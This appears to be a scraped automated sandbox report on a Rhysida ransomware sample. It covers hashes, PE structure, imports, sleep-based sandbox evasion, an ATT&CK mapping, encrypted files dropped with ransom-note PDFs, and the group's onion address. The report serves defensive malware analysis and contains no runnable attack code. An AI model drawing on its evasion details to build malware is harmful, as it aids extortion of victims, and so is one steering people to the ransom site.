Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-client-migration-replacement.man	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-drivers-migration-replacement.man	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	File opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-migration-replacement.man	Jump to behavior

Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Window / User API: threadDelayed 6130			Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Window / User API: threadDelayed 631			Jump to behavior

Source: C:\Users\user\Desktop\lMNx3XfBrF.exe TID: 7500	Thread sleep count: 6130 > 30	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe TID: 7500	Thread sleep time: -61300s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe TID: 7488	Thread sleep count: 631 > 30	Jump to behavior

Source: lMNx3XfBrF.exe, 00000000.00000002.2953399193.00000000034C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft-hyper-v-migration-replacement.man
Source: lMNx3XfBrF.exe, 00000000.00000002.2953399193.00000000034C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft-hyper-v-migration-replacement.manida=J
Source: lMNx3XfBrF.exe, 00000000.00000002.2953399193.00000000034C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft-hyper-v-client-migration-replacement.man
Source: lMNx3XfBrF.exe, 00000000.00000002.2953399193.00000000034C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft-hyper-v-drivers-migration-replacement.man9J
Source: lMNx3XfBrF.exe, 00000000.00000002.2953399193.00000000034C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft-hyper-v-client-migration-replacement.man5J
Source: lMNx3XfBrF.exe, 00000000.00000002.2953399193.00000000034C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft-hyper-v-drivers-migration-replacement.man

Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_004011B0 Sleep,Sleep,SetUnhandledExceptionFilter,GetStartupInfoA,	0_2_004011B0
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00443E50 TlsGetValue,CloseHandle,CloseHandle,CloseHandle,TlsSetValue,RtlRemoveVectoredExceptionHandler,CloseHandle,CloseHandle,CloseHandle,RtlAddVectoredExceptionHandler,	0_2_00443E50
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0044B039 SetUnhandledExceptionFilter,	0_2_0044B039
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_00447A70 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00447A70
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 0_2_0048861C SetUnhandledExceptionFilter,WaitForSingleObject,	0_2_0048861C

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Masquerading	11 Input Capture	1 System Time Discovery	Remote Services	11 Input Capture	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	12 Virtualization/Sandbox Evasion	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Proxy	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Indicator Removal	LSA Secrets	3 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner	Label
lMNx3XfBrF.exe	74%	ReversingLabs	Win64.Ransomware.Rhysida
lMNx3XfBrF.exe	100%	Avira	TR/Redcap.jnxlj
lMNx3XfBrF.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://jquery.org/license	0%	URL Reputation	safe
http://sizzlejs.com/	0%	URL Reputation	safe
http://jquery.com/	0%	URL Reputation	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://crbug.com/275944	resources.pak.rhysida.0.dr	false		unknown
https://chromium.googlesource.com/a/native_client/nacl-llvm-project-v10.git	nacl_irt_x86_64.nexe.rhysida.0.dr	false		unknown
http://jquery.org/license	index.html.rhysida.0.dr	false	URL Reputation: safe	unknown
https://crbug.com/1446731	resources.pak.rhysida.0.dr	false		unknown
http://crbug.com/717501	resources.pak.rhysida.0.dr	false		unknown
http://crbug.com/839189	resources.pak.rhysida.0.dr	false		unknown
http://sizzlejs.com/	index.html.rhysida.0.dr	false	URL Reputation: safe	unknown
https://crbug.com/1245093):	resources.pak.rhysida.0.dr	false		unknown
https://chromewebstore.google.com/	resources.pak.rhysida.0.dr	false		unknown
http://crbug.com/775961	resources.pak.rhysida.0.dr	false		unknown
http://crbug.com/497301	resources.pak.rhysida.0.dr	false		unknown
http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)	lMNx3XfBrF.exe, CriticalBreachDetected.pdf24.0.dr, CriticalBreachDetected.pdf289.0.dr, CriticalBreachDetected.pdf84.0.dr, CriticalBreachDetected.pdf270.0.dr, CriticalBreachDetected.pdf216.0.dr, CriticalBreachDetected.pdf154.0.dr, CriticalBreachDetected.pdf77.0.dr, CriticalBreachDetected.pdf167.0.dr, CriticalBreachDetected.pdf66.0.dr, CriticalBreachDetected.pdf130.0.dr, CriticalBreachDetected.pdf120.0.dr, CriticalBreachDetected.pdf367.0.dr, CriticalBreachDetected.pdf310.0.dr, CriticalBreachDetected.pdf368.0.dr, CriticalBreachDetected.pdf231.0.dr, CriticalBreachDetected.pdf134.0.dr, CriticalBreachDetected.pdf374.0.dr, CriticalBreachDetected.pdf207.0.dr, CriticalBreachDetected.pdf176.0.dr, CriticalBreachDetected.pdf339.0.dr	true		unknown
https://codereview.chromium.org/25305002).	resources.pak.rhysida.0.dr	false		unknown
https://www.torproject.org/download/)	lMNx3XfBrF.exe, CriticalBreachDetected.pdf24.0.dr, CriticalBreachDetected.pdf289.0.dr, CriticalBreachDetected.pdf84.0.dr, CriticalBreachDetected.pdf270.0.dr, CriticalBreachDetected.pdf216.0.dr, CriticalBreachDetected.pdf154.0.dr, CriticalBreachDetected.pdf77.0.dr, CriticalBreachDetected.pdf167.0.dr, CriticalBreachDetected.pdf66.0.dr, CriticalBreachDetected.pdf130.0.dr, CriticalBreachDetected.pdf120.0.dr, CriticalBreachDetected.pdf367.0.dr, CriticalBreachDetected.pdf310.0.dr, CriticalBreachDetected.pdf368.0.dr, CriticalBreachDetected.pdf231.0.dr, CriticalBreachDetected.pdf134.0.dr, CriticalBreachDetected.pdf374.0.dr, CriticalBreachDetected.pdf207.0.dr, CriticalBreachDetected.pdf176.0.dr, CriticalBreachDetected.pdf339.0.dr	false		unknown
http://jquery.com/	index.html.rhysida.0.dr	false	URL Reputation: safe	unknown
http://crbug.com/514696	resources.pak.rhysida.0.dr	false		unknown

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524360
Start date and time:	2024-10-02 17:58:37 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	lMNx3XfBrF.exe renamed because original name is a hash value
Original Sample Name:	f06b905626d742ec5a1eab8027d9097b74fd0413a901d0599eac8555d1f89e50.exe
Detection:	MAL
Classification:	mal92.rans.evad.winEXE@1/1025@0/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 13 Number of non-executed functions: 69
Cookbook Comments:	Found application associated with file extension: .exe

Process:	C:\Users\user\Desktop\lMNx3XfBrF.exe
File Type:	PDF document, version 1.4, 1 pages
Category:	dropped
Size (bytes):	114393
Entropy (8bit):	7.76507644210557
Encrypted:	false
SSDEEP:	1536:v1cgCx69vkFBsR0M/xByy/XlEnJR6PoypIfLXbP2aXpXkDLai519yGnIDTYWf/9W:NcgCIvABlUxBvX9o3pkDm61AGIHf6A4
MD5:	BAE4E959E5862E891B972F2C9116701E
SHA1:	1403D8ED28AC069ABFDFE9A2036A74D52A7C7494
SHA-256:	37C8633EE17BDF7AE21A547FEE680920C720E9D32D03DD6DD217805DE4D487E6
SHA-512:	98E831104C57C70F6AF75FE6179F558B3CAFD201B355176E8C47ABD68592725FB43F30E967E3CF93D3152E61EB77A89BA9FE5C55DA205448A1930509949A3344
Malicious:	false
Reputation:	low
Preview:	%PDF-1.4.%...1 0 obj.<<./Title ()./Creator (...w.k.h.t.m.l.t.o.p.d.f. .0...1.2...5)./Producer (...Q.t. .5...1.2...8)./CreationDate (D:20231127202737-05'00').>>.endobj.2 0 obj.<<./Type /Catalog./Pages 3 0 R.>>.endobj.4 0 obj.<<./Type /ExtGState./SA true./SM 0.02./ca 1.0./CA 1.0./AIS false./SMask /None>>.endobj.5 0 obj.[/Pattern /DeviceRGB].endobj.7 0 obj.<<./Type /XObject./Subtype /Image./Width 1400./Height 600./BitsPerComponent 8./ColorSpace /DeviceGray./Length 8 0 R./Filter /FlateDecode.>>.stream.x....\|.......B.#E.PCQ.ti..R.T.(O..T..A@.,..A.JQJ....R...AJ.@.-!=9ofv7.2.N.Y....cc2s......[8..................................................................................................................................................................................................................................................................................................................................................................................................................

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.894969711209787
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	lMNx3XfBrF.exe
File size:	509'440 bytes
MD5:	ddaa09b5c3bf5aa24e300c24905469f2
SHA1:	ebedfbe0a696bd87c4e2d27e3448a61f02bab021
SHA256:	f06b905626d742ec5a1eab8027d9097b74fd0413a901d0599eac8555d1f89e50
SHA512:	a1826d23ef54d75bdee465727f1609a12407923fdf951124f968ab204e92da079a73e71292f2eddb7f2187c169b422bb720df6cb185b8ca26111b324fd555db0
SSDEEP:	6144:yFoCbN9uRhQW8HnuYqWrJhN7L6aMFNYkS+D5gtuMf9opagj7T:/qnTp7N78Y5e5gUG9o/
TLSH:	73B48C17D6A3467DC12781706F4766736F31BC4C01B0B9AF1291CAB26F61B706BAE329
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....Bee........../...........................@...........................................`... ............................

Entrypoint:	0x4014d0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x65654284 [Tue Nov 28 01:29:40 2023 UTC]
TLS Callbacks:	0x447ba0
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	3e5f19d10bbdbe11ac872f983491b498

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x88000	0x1358	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x79000	0x22c8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x8b020	0x28	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4a1c8	0x4a200	3636b5a222c31f2353bfd870b705e304	False	0.4712037573777403	data	6.376513849855148	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4c000	0x1d020	0x1d200	217054ecb550aa96204826477533e47f	False	0.8436494098712446	dBase III DBT, version number 0, next free block index 10, 1st item "@$\0336\302\034W\365X\3000UO\206\016\323\216\343xv7\221\266\342\342\333\200\241g\341f7\347\226\276\242fac\320\\022\0032L\023\351AO\214\226\024\205\2527w]\3706\016\326\356+\213\251\243\276\247\270\030+r\306:\207\332\300\300\256\356\310\013\004\376\234\025?\365\272\201W\323K\010\336s\343\364\003\2330O\035A\202C\364\032\363\244\374R\356\005 I\011\274\315B;\032l\374\|?N"	7.740353154694282	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x6a000	0xed30	0xee00	65aa6dc1f72f919e0a1380016a0923b0	False	0.29347754726890757	data	5.772921215439452	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x79000	0x22c8	0x2400	c31d99ac55cd5a9dff492e916715f4f4	False	0.4758029513888889	data	5.5533952282914525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x7c000	0x222c	0x2400	f5aea3cda9fc66286a066f8873644acc	False	0.1802300347222222	data	4.2738233249504525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x7f000	0x8420	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x88000	0x1358	0x1400	ecd881891ccaa462ea0eda51d94922e4	False	0.2626953125	data	4.033196946355422	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x8a000	0x70	0x200	ee27721499572230106b20a1537a9cf0	False	0.080078125	data	0.3349738039007212	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x8b000	0x68	0x200	cbbb05d9d190bfcb0312d47bb82ca5df	False	0.060546875	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

DLL	Import
KERNEL32.DLL	AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateSemaphoreA, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetFileAttributesA, GetHandleInformation, GetLastError, GetModuleFileNameW, GetProcessAffinityMask, GetStartupInfoA, GetSystemInfo, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDebuggerPresent, LeaveCriticalSection, OutputDebugStringA, QueryPerformanceCounter, RaiseException, ReleaseSemaphore, RemoveVectoredExceptionHandler, ResetEvent, ResumeThread, RtlAddFunctionTable, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, SetEvent, SetLastError, SetProcessAffinityMask, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, Sleep, SuspendThread, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, UnhandledExceptionFilter, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject
ADVAPI32.dll	CryptAcquireContextA, CryptGenRandom
msvcrt.dll	__C_specific_handler, __dllonexit, __doserrno, __getmainargs, __initenv, __iob_func, __lconv_init, __pioinfo, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _beginthreadex, _cexit, _endthreadex, _errno, _exit, _filelengthi64, _fileno, _findclose, _findfirst64, _fmode, _fullpath, _initterm, _lock, _lseeki64, _onexit, _setjmp, _stat64, _ultoa, _unlock, _write, abort, acos, calloc, exit, fclose, fflush, fgetpos, fopen, fprintf, fread, free, frexp, fseek, fsetpos, ftell, fwprintf, fwrite, malloc, memcmp, memcpy, memmove, memset, printf, raise, rand, realloc, rename, signal, sprintf, srand, strcat, strcmp, strcpy, strlen, strncmp, strncpy, system, vfprintf, wcscpy, _time64, _snwprintf, _findnext64, longjmp, _strdup, _getcwd, _chdir
USER32.dll	MessageBoxW

Target ID:	0
Start time:	11:59:31
Start date:	02/10/2024
Path:	C:\Users\user\Desktop\lMNx3XfBrF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\lMNx3XfBrF.exe"
Imagebase:	0x400000
File size:	509'440 bytes
MD5 hash:	DDAA09B5C3BF5AA24E300C24905469F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	43.5%
Total number of Nodes:	909
Total number of Limit Nodes:	11

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report lMNx3XfBrF.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\CriticalBreachDetected.pdf

C:\$WinREAgent\Scratch\CriticalBreachDetected.pdf

C:\CriticalBreachDetected.pdf

C:\Program Files\7-Zip\7z.sfx.rhysida

C:\Program Files\7-Zip\CriticalBreachDetected.pdf

C:\Program Files\7-Zip\History.txt.rhysida

C:\Program Files\7-Zip\Lang\CriticalBreachDetected.pdf

C:\Program Files\7-Zip\Lang\af.txt.rhysida

C:\Program Files\7-Zip\Lang\az.txt.rhysida

C:\Program Files\7-Zip\Lang\bn.txt.rhysida

C:\Program Files\7-Zip\descript.ion.rhysida

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_FR\license.html.rhysida

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\he_IL\license.html.rhysida

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\hu_HU\CriticalBreachDetected.pdf

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\hu_HU\license.html.rhysida

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\it_IT\CriticalBreachDetected.pdf

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\it_IT\license.html.rhysida

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ja_JP\CriticalBreachDetected.pdf

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ja_JP\license.html.rhysida

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\ko_KR\CriticalBreachDetected.pdf

Windows Analysis Report
lMNx3XfBrF.exe

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

